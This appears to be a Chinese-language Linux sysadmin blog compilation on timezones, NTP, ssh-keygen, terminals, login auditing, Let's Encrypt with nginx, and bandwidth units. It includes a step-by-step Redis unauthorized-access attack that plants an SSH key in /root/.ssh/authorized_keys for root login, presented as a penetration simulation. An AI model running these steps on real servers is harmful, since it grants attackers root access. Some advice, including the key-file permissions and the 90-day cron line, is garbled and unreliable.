centos时区查看和更改方法

一.查看时区
[root@a ~]# date
Fri Sep 30 10:29:33 CST 2016
可见为中国时区 CST – China Standard Time (Standard Time)

[root@a ~]# date -R
Fri, 30 Sep 2016 10:29:24 +0800

[root@a ~]# date +%z
+0800

可见为 东八时区

二.更改时区
rm -rf /etc/localtime #删除当前默认时
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

三.时间自动同步和校正

yum install -y ntp #安装时间同步服务(组件)
ntpdate us.pool.ntp.org #设置同步服务器
date #查看当前时间www.


rpm -qa | grep ntp #查询一下可安装了
chkconfig --list | grep ntp #看下服务情况
chkconifg ntpd on
service ntpd start # 或/etc/init.d/ntpd start

将当前时间和日期写入BIOS,避免重启后失效
hwclock -w

定时同步时间
# /usr/sbin/ntpdate 210.72.145.44 > /dev/null 2>&1

**********
知识拓展

概念:Linux时间有两个
系统时间:也叫软件时间(sys), 1970年1月1日到当前时间的秒数
BOIS时间:也叫硬件时间(hc)

GMT(Greenwich Mean Time)代表格林尼治标准时间,这个大家都知道。
而CST却同时可以代表如下 4 个不同的时区:
Central Standard Time (USA) UT-6:00
Central Standard Time (Australia) UT+9:30
China Standard Time UT+8:00
Cuba Standard Time UT-4:00

可见,CST可以同时表示美国,澳大利亚,中国,古巴四个国家的标准时间。

修改设置时区
方法(3) 适用于Debian
dpkg-reconfigure tzdata

CST – China Standard Time (Standard Time)

ssh-keygen 基本用法

ssh-keygen 基本用法

生成ssh key的时候,可以通过 -f 选项指定生成文件的文件名,如下
[root@a]$ ssh-keygen -f test -C "test key"
~~文件名 ~~~~ 备注
如果没有指定文件名,会询问你输入文件名:
[ root@a]$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/evan/.ssh/id_rsa):
你可以输入你想要的文件名,这里我们输入test。

密码 私key 文件的密码
之后,会询问你是否需要输入密码。输入密码之后,以后每次都要输入密码。请根据你的安全需要决定是否需要密码,如果不需要,直接回车:

#这种办法更加方便
或者 -t type 指定要创建的密钥类型。可以使用:”rsa1″(SSH-1) “rsa”(SSH-2) “dsa”(SSH-2)
[root@a]$ ssh-keygen -t rsa -f test -C "test key"
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
结果

如果文件名是test,结果是:
[root@a]$ ll test*
-rw——- 1 huqiu huqiu 1675 Sep 15 13:24 test
-rw-r–r– 1 huqiu huqiu 390 Sep 15 13:24 test.pub
备注

上面生成的命令中,-C选项是公钥文件中的备注:

[root@a]$ cat test.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAlgjiMw7AskxbvpQY9rmZPQxQBzh9laxFvbaini2EgmQkNsXBA9WJOXn2YBJauoiVsdUKBWA97avjsobrTxsCYvFr1yQQvTfTlbqlqGNIhQc/3HjTl2pIkClpDWvBrRN+jpyESS4MNbfOL1qjT4c/QhGvj6U6HrN6kUyn58oyyJpTzOLG74AZELJ2Led57QvTw1yJXZuAMWioR0A3BGd25fdocLX3ebux6ya8AsloOVYfsAqGlggrARe6FXjLfMH4a/nxaAdiDYVXU/Vr1ybK9P7SfyEDGJi3JtgiPUlA6vPxUC
E+9IJPQaqqeqCGzrJ6G/XO7om1v9YLLG/H/ZN2tQ== test key
~~~~备注
文件的权限

为了让私钥文件和公钥文件能够在认证中起作用,请确保权限正确。
对于.ssh 以及父文件夹,当前用户用户一定要有执行权限,其他用户最多只能有执行权限。
对于公钥和私钥文件也是: 当前用户一定要有执行权限,其他用户最多只能有执行权限。
对于利用公钥登录,对其他用户配置执行权限是没有问题的。但是对于git,公钥和私钥, 以及config等相关文件的权限,其他用户不可有任何权限。
authorized_keys

ssh-keygen 基本用法

https://wiki.archlinux.org/index.php/SSH_keys_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)

ssh-keygen 中文手册

Linux中tty、pty和pts概念及区别_tag

先说是tty
tty:理解为终端就好了,比如,显示器,键盘等,一般通过串行总线来发送和显示信息,有波特率这个,一般38400.波特率不对,就会显示乱码啦,当然这个不需要我们设置,系统为你设置好了。对于嵌入式设备,连接电脑,就需要设置,一般15200.

终端是一种字符型设备
tty设备包括

1,虚拟控制台,比如echo “hello” > /dev/tty 就在控制台显示。
/dev/tty0代表当前虚拟控制台,而/dev/tty1等代表第一个虚拟控制台,例如当使用ALT+F2进行切换时,系统的虚拟控制台为/dev/tty2 ,当前的控制台则指向/dev/tty2。

2,串口终端设备/dev/ttyS*,

3,伪终端设备/dev/pty*,比如在Windows使用telnet 或ssh等方式登录Linux主机

再说说pts

pts(pseudo-terminal slave),懂英文的就知道了,虚拟终端。比如远程到主机啥的,是pty的实现方法

http://www.ahlinux.com/start/desk/17772.html

每天一命令之Linux内置的审计跟踪工具last

Linux内置的审计跟踪工具:last命令

last显示的是自/var/log/wtmp文件创建起所有登录(和登出)的用户。这个文件是二进制文件,它不能被文本编辑器浏览,比如vi、Joe或者其他软件。这是非常有用的,因为用户(或者root)不能像他们希望的那样修改这个文件。

last会给出所有已登录用户的用户名、tty、IP地址(如果用户是远程连接的话)、日期-时间和用户已经登录的时间。

第一列告诉谁是用户
第二列给出了用户如何连接的信息

pts/0 (伪终端) 意味着从诸如SSH或telnet的远程连接的用户
tty (teletypewriter) 意味着直接连接到计算机或者本地连接的用户
除了重启活动,所有状态会在启动时显示
第三列显示用户来自哪里。如果用户来自于远程计算机,你会看到一个主机名或者IP地址。如果你看见:0.0 或者什么都没有,这意味着用户通过本地终端连接。除了重启活动,内核版本会显示在状态中。
第四列:开始时间
第五列:结束时间(still login in 还未退出 down 直到正常关机 crash 直到强制关机)
第六列:持续时间
剩下的列显示日志活动发生在何时。括号中的数字告诉我们连接持续了多少小时和分钟。
显示完整登入登出时间日期 使用 -F 参数

[root@]# last |head
wan pts/0 11.10.17.24 Tue Sep 27 20:24 still logged in
wan pts/0 11.10.17.24 Tue Sep 27 19:30 – 19:31 (00:01) #19:30 登录到19:31
wan pts/1 11.10.17.24 Tue Sep 27 19:27 – 19:31 (00:03)

[root@]# last -n 3
wan pts/0 11.10.17.24 Tue Sep 27 20:24 still logged in
wan pts/0 11.08.17.24 Tue Sep 27 19:30 – 19:31 (00:01)
wan pts/1 11.08.17.24 Tue Sep 27 19:27 – 19:31 (00:03)

查看登录系统用户并将非法登录用户用踢出 https://www.linuxchina.net/?p=3431

https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_72/com.ibm.aix.cmds3/last.htm
http://blog.csdn.net/chaofanwei/article/details/11826567
http://os.51cto.com/art/201402/430091.htm
https://linux.cn/thread-12343-1-1.html

查看登录系统用户并将非法登录用户用踢出

1、查看当前登录的用户:使用命令w
[root@ ~]# w
19:05:43 up 1:18, 3 users, load average: 0.02, 0.36, 0.26
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 192.168.3.155 18:58 0.00s 0.20s 0.01s w
test pts/1 192.168.3.155 18:58 6:50 0.01s 0.01s -bash
test1 pts/2 192.168.3.155 18:59 6:25 0.01s 0.01s -bash
解释:
第一列是用户名,
第二列是连接的终端,tty表示显示器,pts表示远程连接,
第三列是登陆时间

2、踢出非法用户:pkill -kill -t 用户tty
eg:pkill -kill -t pts/1 即为踢出用户test的登录!

who或者w命令,看当前登录用户。可以kill掉非法用户
查看历史信息,可以看/var/log/secure文件内容。可以查IP,然后设置iptables封IP。

利用redis安装漏洞入侵系统的一次渗透模拟

原因 默认 redis 安装存在漏洞,用root启动redis 可以直接 获取 root 权限,而如果服务器又是用root 直接远程登录的 那就受伤了 哥曾经差点受伤

ssh-keygen -t rsa

然后将公钥写入foo.txt文件
cd .ssh ;
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接Redis写入文件
cat foo.txt | redis-cli -h 192.168.1.10 -x set crackit
redis-cli -h 192.168.1.10

192.168.1.10:6379> config set dir /root/.ssh/
OK
$ 192.168.1.10:6379> config get dir
1) “dir”
2) “/root/.ssh”
$ 192.168.1.10:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.10:6379> save
OK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
即可远程利用自己的私钥登录该服务器。
ssh -i id_rsa root@192.168.1.10

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

默认 redis 安装存在漏洞, 可以直接 获取 root 权限

Redis 未授权访问缺陷可轻易导致系统被黑

Nginx安装Let's Encrypt免费SSL证书 on freebsd

要先关闭 nginx

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto certonly --standalone --email evan886@gmail.com -d linuxchina.net -d www.linuxchina.net --debug

root@freebsdsfo2-01:/data/www/ssl/letsencrypt # ./letsencrypt-auto certonly --standalone --email evan886@gmail.com -d linuxchina.net -d www.linuxchina.net --debug

IMPORTANT NOTES:
– Congratulations! Your certificate and chain have been saved at
/etc/letsencrypt/live/linuxchina.net/fullchain.pem. Your cert will
expire on 2016-12-11. To obtain a new or tweaked version of this
certificate in the future, simply run letsencrypt-auto again. To
non-interactively renew *all* of your certificates, run
“letsencrypt-auto renew”
– If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let’s Encrypt: https://letsencrypt.org/donate
Donating to EFF: https://eff.org/donate-le

第三、Let’s Encrypt免费SSL证书获取与应用
在完成Let’s Encrypt证书的生成之后,我们会在”/etc/letsencrypt/live/yourdomain/”域名目录下有4个文件就是生成的密钥证书文件。
cert.pem – Apache服务器端证书
chain.pem – Apache根证书和中继证书
fullchain.pem – Nginx所需要ssl_certificate文件
privkey.pem – 安全证书KEY文件

ssl_certificate /etc/letsencrypt/live/linuxchina.net/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/linuxchina.net/privkey.pem;

#90天后自动更新
* * */90 * * /data/mon/autossl
#/bin/sh
/data/www/ssl/letsencrypt/letsencrypt-auto certonly --renew-by-default --email evan886@gmail.com -d linuxchina.net -d www.linuxchina.net

详细的nginx https配置文件

#4 blog
server {
listen 80;
# listen [::]:80 ipv6only=on default_server;
listen 443 default ssl;
#listen [::]:80;
#ssl on;
ssl_certificate /etc/letsencrypt/live/linuxchina.net/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/linuxchina.net/privkey.pem;

server_name linuxchina.net www.linuxchina.net;

#by evan
if ($scheme = http) {
return 301 https://$server_name$request_uri;
}
#by evan
# server_name blog.linuxchina.net;
charset utf-8;
root /data/www/evan;
index index.php index.html index.htm;

注意:
ssl on 不要打开 ,不然会400

#这个官方的教程比较好 其实
https://certbot.eff.org/#freebsd-nginx

http://stackoverflow.com/questions/8768946/dealing-with-nginx-400-the-plain-http-request-was-sent-to-https-port-error

实战申请Let’s Encrypt永久免费SSL证书过程教程及常见问题
http://www.laozuo.org/7676.html

Let’s Encrypt SSL证书配置
http://www.jianshu.com/p/eaac0d082ba2#

你所不知道的 宽 —1M带宽是什么意思

公司拉了个光纤 但是很多人老是说卡, 回想自己宿舍好像1M却下载只有100K/s 老是以为是 1M=1024K 呢
通过多方请教和google 终于知道真相了

1M带宽的意思是1Mbps注意是bps而不是Bps!
换算吧,1Bps=8bps;
所以1Mbps=128KBps;
所以下载速度最高为128KBps
1Mbps=1024KBps/8=128KBps
随便说说什么是bps
bps是bits per second的缩写,表示比特/秒。那么客户下载一首5兆的MP3歌曲, 需要多长时间?这与下载速率有直接的关系。
以普通的ADSL为例(基本都能达到50Kbps的下载速率):(5MB=5120KB÷50K=102.4秒,约1.7分钟。

电信说的带宽,其实是以bit为单位的。但我们平时说的下载的速度,一般都是说byte的。

1byte=8bit

所以如果是机房的带宽是100m,或adsl是100m的,真正的下载速度。要用100/8=12.5mbyte左右,但还要加上线路的损耗,速度在10M多一点的。
当然 有些人说得更加猛,直接除以10